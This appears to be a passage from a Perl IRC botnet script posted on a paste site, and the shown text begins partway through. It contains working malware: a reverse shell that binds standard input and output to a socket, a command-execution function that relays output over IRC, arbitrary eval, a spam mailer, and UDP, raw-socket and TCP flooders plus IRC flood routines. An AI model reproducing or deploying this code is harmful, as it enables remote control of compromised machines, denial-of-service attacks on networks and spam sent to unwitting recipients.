  546.         connect(SOCKET, $paddr) or die "connect: $!";
  547.         open(STDIN, ">&SOCKET");
  548.         open(STDOUT, ">&SOCKET");
  549.         open(STDERR, ">&SOCKET");
  550.         system("$shell");
  551.         close(STDIN);
  552.         close(STDOUT);
  553.         close(STDERR);
  554. }
  555. ##############
  556. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  557.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  558.         $subject = $1;
  559.         $sender = $2;
  560.         $recipient = $3;
  561.         @corpo = $4;
  562.         $mailtype = "content-type: text/html";
  563.         $sendmail = '/usr/sbin/sendmail';
  564.         open (SENDMAIL, "| $sendmail -t");
  565.         print SENDMAIL "$mailtype\n";
  566.         print SENDMAIL "Subject: $subject\n";
  567.         print SENDMAIL "From: $sender\n";
  568.         print SENDMAIL "To: $recipient\n\n";
  569.         print SENDMAIL "@corpo\n\n";
  570.         close (SENDMAIL);
  571.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  572. }
  573. exit;
  574. }
  575. }
  576. ##############
  577. if ($funcarg =~ /^ctcpflood (.*)/) {
  578.     my $target = "$1";
  579.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  580.         for (1..10) {
  581.         sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  582.         sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  583.         }
  584. }
  585. ##############
  586. if ($funcarg =~ /^msgflood (.*)/) {
  587.     my $target = "$1";
  588.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  589.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  590. }
  591. ##############
  592. if ($funcarg =~ /^noticeflood (.*)/) {
  593.     my $target = "$1";
  594.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  595.         for (1..2){
  596.         sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  597.         }
  598. }
  599. ##############
  600.  
  601. ##############
  602. sub ircase {
  603. my ($kem, $printl, $case) = @_;
  604.    if ($case =~ /^join (.*)/) {
  605.      j("$1");
  606.    }
  607.    elsif ($case =~ /^part (.*)/) {
  608.       p("$1");
  609.    }
  610.    elsif ($case =~ /^rejoin\s+(.*)/) {
  611.       my $chan = $1;
  612.       if ($chan =~ /^(\d+) (.*)/) {
  613.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  614.           p("$2");
  615.           j("$2");
  616.         }
  617.       } else {
  618.           p("$chan");
  619.           j("$chan");
  620.       }
  621.    }
  622.    elsif ($case =~ /^op/) {
  623.       op("$printl", "$kem") if $case eq "op";
  624.       my $oarg = substr($case, 3);
  625.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  626.    }
  627.    elsif ($case =~ /^deop/) {
  628.       deop("$printl", "$kem") if $case eq "deop";
  629.       my $oarg = substr($case, 5);
  630.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  631.    }
  632.    elsif ($case =~ /^voice/) {
  633.       voice("$printl", "$kem") if $case eq "voice";
  634.       $oarg = substr($case, 6);
  635.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  636.    }
  637.    elsif ($case =~ /^devoice/) {
  638.       devoice("$printl", "$kem") if $case eq "devoice";
  639.       $oarg = substr($case, 8);
  640.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  641.    }
  642.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  643.       msg("$1", "$2");
  644.    }
  645.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  646.       for (my $cf = 1; $cf <= $1; $cf++) {
  647.         msg("$2", "$3");
  648.       }
  649.    }
  650.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  651.       ctcp("$1", "$2");
  652.    }
  653.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  654.       for (my $cf = 1; $cf <= $1; $cf++) {
  655.         ctcp("$2", "$3");
  656.       }
  657.    }
  658.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  659.       invite("$1", "$2");
  660.    }
  661.    elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  662.        conectar("$2", "$1", "6667");
  663.    }
  664.    elsif ($case =~ /^nick (.*)/) {
  665.       nick("$1");
  666.    }
  667.    elsif ($case =~ /^raw (.*)/) {
  668.       sendraw("$1");
  669.    }
  670.    elsif ($case =~ /^eval (.*)/) {
  671.       eval "$1";
  672.    }
  673.    elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  674.     sleep int(rand($2));
  675.     j("$1");
  676.    }
  677.    elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  678.     sleep int(rand($2));
  679.     p("$1");
  680.    }
  681.    elsif ($case =~ /^quit/) {
  682.      quit();
  683.    }
  684. }
  685. ##############
  686. sub shell {
  687. my $printl=$_[0];
  688. my $comando=$_[1];
  689. if ($comando =~ /cd (.*)/) {
  690.         chdir("$1") || msg("$printl", "No such file or directory");
  691.         return;
  692. } elsif ($pid = fork) {
  693.         waitpid($pid, 0);
  694. } else {
  695. if (fork) {
  696.         exit;
  697. } else {
  698. my @resp=`$comando 2>&1 3>&1`;
  699. my $c=0;
  700. foreach my $linha (@resp) {
  701.   $c++;
  702.   chop $linha;
  703.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  704.   if ($c == "$linas_max") {
  705.     $c=0;
  706.     sleep $sleep;
  707.   }
  708. }
  709. exit;
  710. }
  711. }
  712. }
  713. ##############
  714. sub udpflooder {
  715. my $iaddr = inet_aton($_[0]);
  716. my $msg = 'A' x $_[1];
  717. my $ftime = $_[2];
  718. my $cp = 0;
  719. my (%pacotes);
  720.         $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  721.         socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  722.         socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  723.         socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  724.         socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  725.         return(undef) if $cp == 4;
  726. my $itime = time;
  727. my ($cur_time);
  728.         while ( 1 ) {
  729. for (my $port = 1;
  730.         $port <= 65000; $port++) {
  731.         $cur_time = time - $itime;
  732. last if $cur_time >= $ftime;
  733.         send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  734.         send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  735.         send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  736.         send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  737. for (my $pc = 3;
  738.         $pc <= 255;$pc++) {
  739. next if $pc == 6;
  740.         $cur_time = time - $itime;
  741. last if $cur_time >= $ftime;
  742.         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  743.         send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  744. }
  745. }
  746. last if $cur_time >= $ftime;
  747. }
  748. return($cur_time, %pacotes);
  749. }
  750. ##############
  751. sub tcpflooder {
  752. my $itime = time;
  753. my ($cur_time);
  754. my ($ia,$pa,$proto,$j,$l,$t);
  755.         $ia=inet_aton($_[0]);
  756.         $pa=sockaddr_in($_[1],$ia);
  757.         $ftime=$_[2];
  758.         $proto=getprotobyname('tcp');
  759.         $j=0;$l=0;
  760.         $cur_time = time - $itime;
  761. while ($l<1000){
  762.         $cur_time = time - $itime;
  763. last if $cur_time >= $ftime;
  764.         $t="SOCK$l";
  765.         socket($t,PF_INET,SOCK_STREAM,$proto);
  766.         connect($t,$pa)||$j--;
  767.         $j++;$l++;
  768. }
  769.         $l=0;
  770. while ($l<1000){
  771.         $cur_time = time - $itime;
  772. last if $cur_time >= $ftime;
  773.         $t="SOCK$l";
  774. shutdown($t,2);
  775.         $l++;
  776. }
  777. }
  778. ##############
  779. sub msg {
  780.    return unless $#_ == 1;
  781.    sendraw("PRIVMSG $_[0] :$_[1]");
  782. }
  783. sub ctcp {
  784.    return unless $#_ == 1;
  785.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  786. }
  787. sub notice {
  788.    return unless $#_ == 1;
  789.    sendraw("NOTICE $_[0] :$_[1]");
  790. }
  791. sub op {
  792.    return unless $#_ == 1;
  793.    sendraw("MODE $_[0] +o $_[1]");
  794. }
  795. sub deop {
  796.    return unless $#_ == 1;
  797.    sendraw("MODE $_[0] -o $_[1]");
  798. }
  799. sub voice {
  800.    return unless $#_ == 1;
  801.    sendraw("MODE $_[0] +v $_[1]");
  802. }
  803. sub devoice {
  804.    return unless $#_ == 1;
  805.    sendraw("MODE $_[0] -v $_[1]");
  806. }
  807. sub j { &join(@_); }
  808. sub join {
  809.    return unless $#_ == 0;
  810.    sendraw("JOIN $_[0]");
  811. }
  812. sub p { part(@_); }
  813. sub part {sendraw("PART $_[0]");}
  814. sub nick {
  815.   return unless $#_ == 0;
  816.   sendraw("NICK $_[0]");
  817. }
  818. sub quit {
  819.   sendraw("QUIT :$_[0]");
  820.   exit;
  821. }
  822. sub modo {
  823.    return unless $#_ == 0;
  824.    sendraw("MODE $_[0] $_[1]");
  825. }
  826. sub mode { modo(@_); }
  827.  
  828. sub invite {
  829.    return unless $#_ == 1;
  830.    sendraw("INVITE $_[1] $_[0]");
  831. }
  832.  
  833. sub topico {
  834.    return unless $#_ == 1;
  835.    sendraw("TOPIC $_[0] $_[1]");
  836. }
  837. sub topic { topico(@_); }
  838.  
  839. sub away {
  840.   sendraw("AWAY $_[0]");
  841. }
  842. sub back { away(); }
  843.  
  844. }
  845.  
  846. ###################
  847. ##### [ EOF ] #####
  848. ###################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement